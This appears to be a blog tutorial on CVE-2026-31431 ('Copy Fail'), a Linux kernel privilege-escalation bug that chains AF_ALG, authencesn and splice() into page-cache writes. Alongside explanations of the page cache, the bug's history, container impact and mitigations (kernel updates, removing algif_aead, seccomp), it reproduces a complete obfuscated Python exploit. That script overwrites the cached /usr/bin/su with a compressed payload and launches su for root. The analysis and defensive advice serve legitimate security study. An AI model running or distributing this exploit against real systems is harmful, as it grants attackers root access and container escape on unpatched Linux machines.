Menu Close

CVE-2026-31431 (Copy Fail) – A Deep Dive into Linux Page Cache Exploitation

Posted in Linux Tutorial

CVE-2026-31431 100% reliableevery distro since 2017container escape primitive732 bytes

Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither.

The same 732-byte Python script roots every Linux distribution shipped since 2017.

One logic bug in authencesn, chained through AF_ALG and splice() into a 4-byte page-cache write — silently exploitable for nearly a decade.

CVE-2026-31431 copy fail

 

 

Image

 

 Introduction

CVE-2026-31431, known as Copy Fail, is one of the most elegant and dangerous Linux kernel vulnerabilities in years.

What makes it unique?

It allows a normal user to become root using a simple, deterministic exploit.

  • No race conditions.
  • No complex memory primitives.
  • No kernel offsets.

Just a logic flaw.


⚠️ Why This Vulnerability Is Different

Most Linux privilege escalation bugs rely on:

  • Buffer overflows
  • Use-after-free
  • Timing windows

Copy Fail does not.

It is a straight-line exploit — reliable, repeatable, and simple.

Even worse:

It has been present since 2017.


🧠 Core Concept: Page Cache

Before understanding the exploit, you must understand one key concept:

👉 Page Cache

In Linux, the page cache is a part of memory (RAM) used to store recently accessed file data. Instead of reading from disk every time, the kernel keeps a copy of file contents in memory to improve performance. When a program opens or executes a file, it usually reads from the page cache, not directly from the disk.

This makes the system much faster, because memory access is significantly quicker than disk I/O. If the requested data is already in the page cache (a “cache hit”), the kernel can serve it immediately. If not, it loads the data from disk into memory and then caches it for future use.

 


🖼️ Disk vs Page Cache

Page Cache
Page Cache
OPerating System Page Buffer Cache
OPerating System Page Buffer Cache

Image

The page cache is also shared across processes. Multiple programs accessing the same file will often use the same cached pages in memory. This is efficient, but it also means that changes to cached data can affect all users of that file.

In the context of security, this shared behavior is important. Some vulnerabilities, like CVE-2026-31431, exploit the fact that modifying the page cache can influence how a file behaves in memory—without changing the actual file on disk.

📌 Key Idea

  • Disk file → persistent storage
  • Page cache → in-memory representation

When a program runs:

It usually runs from the page cache, not directly from disk.

💥 The Critical Insight

Copy Fail does NOT modify files on disk.

Instead:

It modifies the page cache.


⚠️ Why That Matters

  • Disk remains unchanged
  • Integrity checks pass
  • Detection becomes difficult

👉 This is a fileless attack


⚙️ Step-by-Step Exploit Flow


🖼️ Attack Flow Overview

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017.

Image

 

 

Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE.

 

Image

 


1️⃣ Entry: AF_ALG Interface

The attacker uses:

socket(AF_ALG, ...)

This allows user space programs to interact with the kernel crypto subsystem.


2️⃣ Select Target

Example:

/usr/bin/su

This binary runs with root privileges.


3️⃣ Trigger the Bug

Using syscalls like:

  • sendmsg()
  • splice()

The attacker interacts with:

👉 algif_aead (kernel crypto module)


4️⃣ The Bug (Root Cause)

The kernel performs an optimization:

Reusing memory buffers (in-place operation)

But due to incorrect handling:

❌ It writes into unintended memory regions


🧠 Technical Detail

The issue lies in:

👉 scatterlist handling

Instead of writing to a safe buffer:

It writes into page cache-backed memory


5️⃣ Page Cache Corruption

The attacker can now:

  • Modify cached file pages
  • Inject data into executable memory

🔬 Precision Writes

The exploit writes:

~4 bytes at a time

Repeatedly.


6️⃣ Execute Modified Binary

su

But now:

The binary runs attacker-controlled code from memory


👑 Final Result

🎯 Root access


🧠 Deep Dive: Why It Works


🖼️ Kernel / Memory Interaction

Page Flag Page Cache DISK
Page Flag Page Cache DISK
Virtual Memory Page Table
Virtual Memory Page Table

 

Kernel Page table Cache

 

Virutal Memory Layout
Virutal Memory Layout

Key Mechanism

The exploit abuses:

  • Page table mappings
  • Copy-on-write behavior
  • Memory reuse optimization

⚠️ The Critical Failure

The kernel assumes:

“This is a safe write operation”

But:

❌ It bypasses copy-on-write isolation
❌ It writes directly into shared memory (page cache)


🧩 Timeline of the Bug


📅 Evolution

Year Change
2011 Scratch buffer introduced
2015 AF_ALG added
2017 In-place optimization introduced
2026 Exploit discovered

💥 Root Cause

Each change was safe individually.

Together:

They created a privilege escalation path


⚠️ Container Impact

This is where things get worse.


🧠 Why Containers Are Vulnerable

Containers share:

  • Kernel
  • Page cache

🚨 Result

A container user can modify host memory

👉 This becomes a container escape vulnerability


🛠️ Mitigation


✅ 1. Update Kernel

uname -r

Use a patched version.


✅ 2. Apply Updates

apt update && apt upgrade

⚠️ 3. Temporary Fix

rmmod algif_aead

⚠️ 4. Restrict AF_ALG

Use:

  • seccomp
  • container security policies

🎯 Who Should Act Immediately

🔴 High Risk

  • Multi-user systems
  • Kubernetes clusters
  • CI/CD environments

🟡 Medium Risk

  • Servers with SSH access

🟢 Lower Risk

  • Personal machines

🚀 Final Insight

Copy Fail is not just a vulnerability.

It is a lesson.


🧠 The Real Problem

The system trusted its own assumptions.


🔥 One-Line Summary

This exploit doesn’t change files.
It changes the system’s reality.

Leave a Reply

Your email address will not be published. Required fields are marked *